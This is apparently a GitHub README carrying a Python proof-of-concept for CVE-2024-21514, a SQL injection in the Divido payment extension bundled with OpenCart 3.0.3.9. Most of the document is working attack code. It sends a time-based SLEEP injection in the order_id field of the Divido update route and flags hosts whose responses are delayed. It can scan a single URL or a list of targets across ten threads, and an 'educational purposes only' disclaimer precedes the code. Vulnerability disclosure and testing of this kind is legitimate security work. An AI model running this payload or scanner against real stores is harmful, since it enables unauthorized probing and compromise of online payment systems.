README.md
Rendering markdown...
"""
POC for CVE-2024-21514: An SQL Injection issue was identified in the Divido payment extension for OpenCart, which is included by default in version 3.0.3.9
GitHub: https://github.com/bigb0x/CVE-2024-21514
Refrences:
https://security.snyk.io/vuln/SNYK-PHP-OPENCARTOPENCART-7266565
https://nvd.nist.gov/vuln/detail/CVE-2024-21514
https://vulert.com/vuln-db/CVE-2024-21514
Usage:
single scan: cve-2024-21514.py -u hostname
bulk scan cve-2024-21514.py -f file.txt
Disclaimer:
This provided tool is for educational purposes only. I do not encourage, condone, or support unauthorized access to any system or network. Use this tool responsibly and only on systems you have explicit permission to test. Any actions and consequences resulting from misuse of this tool are your own responsibility.
POC Author: https://x.com/MohamedNab1l
Version: 1.0.0
"""
import sys
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
from datetime import datetime
import urllib3
import time
# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ANSI color codes for terminal output
light_gray_color = '\033[37;1m'
dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
dimmed_orange_color = '\033[38;5;208m'
light_lavender_color = '\033[38;5;189m'
lighter_gray_color = '\033[38;5;250m'
reset_color = '\033[0m'
the_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
def banner():
print(f"""
{light_orange_color}
░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ─█▀█─ ── █▀█ ▄█─ █▀▀ ▄█─ ─█▀█─
░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ █▄▄█▄ ▀▀ ─▄▀ ─█─ ▀▀▄ ─█─ █▄▄█▄
░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ───█─ ── █▄▄ ▄█▄ ▄▄▀ ▄█▄ ───█─
{reset_color}{light_gray_color} -> SQL Injection POC for CVE-2024-21514: Divido payment extension for OpenCart{reset_color}
""")
LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')
def create_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)
print_message('info', f"Log directory created: {LOG_DIR}")
def log_message(message):
with open(LOG_FILE, 'a') as log_file:
log_file.write(f"{the_time} - {message}\n")
def print_message(level, message):
if level == 'vulnerable':
print(f"[{light_gray_color}{the_time}] {green_color}[VULN] {message}{reset_color}")
elif level == 'info':
print(f"[{light_gray_color}{the_time}] {dimmed_gray_color}[INFO] {message}{reset_color}")
elif level == 'success':
print(f"[{light_gray_color}{the_time}] {light_orange_color}[SUCCESS] {message}{reset_color}")
elif level == 'warning':
print(f"[{light_gray_color}{the_time}] {lighter_gray_color}[INFO] {message}{reset_color}")
elif level == 'error':
print(f"[{light_gray_color}{the_time}] {red_color}[ERROR] {message}{reset_color}")
log_message(message)
# Define the payload
def send_post_request(url, payload):
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-GB,en;q=0.5',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/json',
'Content-Length': str(len(payload))
}
try:
start_time = time.time()
# Send the POST request
response = requests.post(url, headers=headers, data=payload, verify=False)
end_time = time.time()
# Calculate the response time
response_time = end_time - start_time
return response, response_time
#if status_code == 200:
# return response, response_time
#else:
# print_message('warning', f"Received HTTP status code {status_code} for {url}. No SQL Injection Detected.")
# return None, None
except RequestException as e:
print_message('error', f"Request failed: {url}")
return None, None
# The payload.
def test_host(url):
old_url = url
url = url + '/index.php?route=extension/payment/divido/update'
payload = '{"status":true,"metadata":{"order_id":"1 AND (SELECT 6684 FROM (SELECT(SLEEP(5)))mUHr)"}}'
response, response_time = send_post_request(url, payload)
if response is None:
print_message('error', f"Failed to get response from {old_url}. Skipping...")
return
status_code = response.status_code
if status_code != 200:
print_message('warning', f"Received HTTP status code {status_code} for {old_url}. No SQL Injection Detected.")
if response and response_time:
if response_time > 5:
print_message('vulnerable', f"Possible SQL Injection Detected! {old_url} Response time: {response_time} seconds")
print(response)
else:
print_message('warning', f"No SQL Injection Detected. {old_url} Response time: {response_time} seconds")
def worker(url_queue):
while not url_queue.empty():
url = url_queue.get()
print_message('info', f"Testing {url}")
test_host(url)
url_queue.task_done()
# Our Main
def main():
banner()
parser = argparse.ArgumentParser(description='SQL Injection POC for CVE-2024-21514: Divido payment extension for OpenCart.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='Target URL (e.g., http://target)')
group.add_argument('-f', '--file', help='File containing list of targets/IPs (one per line)')
args = parser.parse_args()
create_log_dir()
if args.url:
print_message('info', f"Testing single target: {args.url}")
test_host(args.url)
elif args.file:
try:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print_message('error', f"File not found: {args.file}")
sys.exit(1)
print_message('info', f"Testing multiple targets from file: {args.file}")
url_queue = queue.Queue()
for url in urls:
url_queue.put(url)
threads = []
for _ in range(10):
t = threading.Thread(target=worker, args=(url_queue,))
t.start()
threads.append(t)
for t in threads:
t.join()
print_message('info', "Scanning complete.")
if __name__ == '__main__':
main()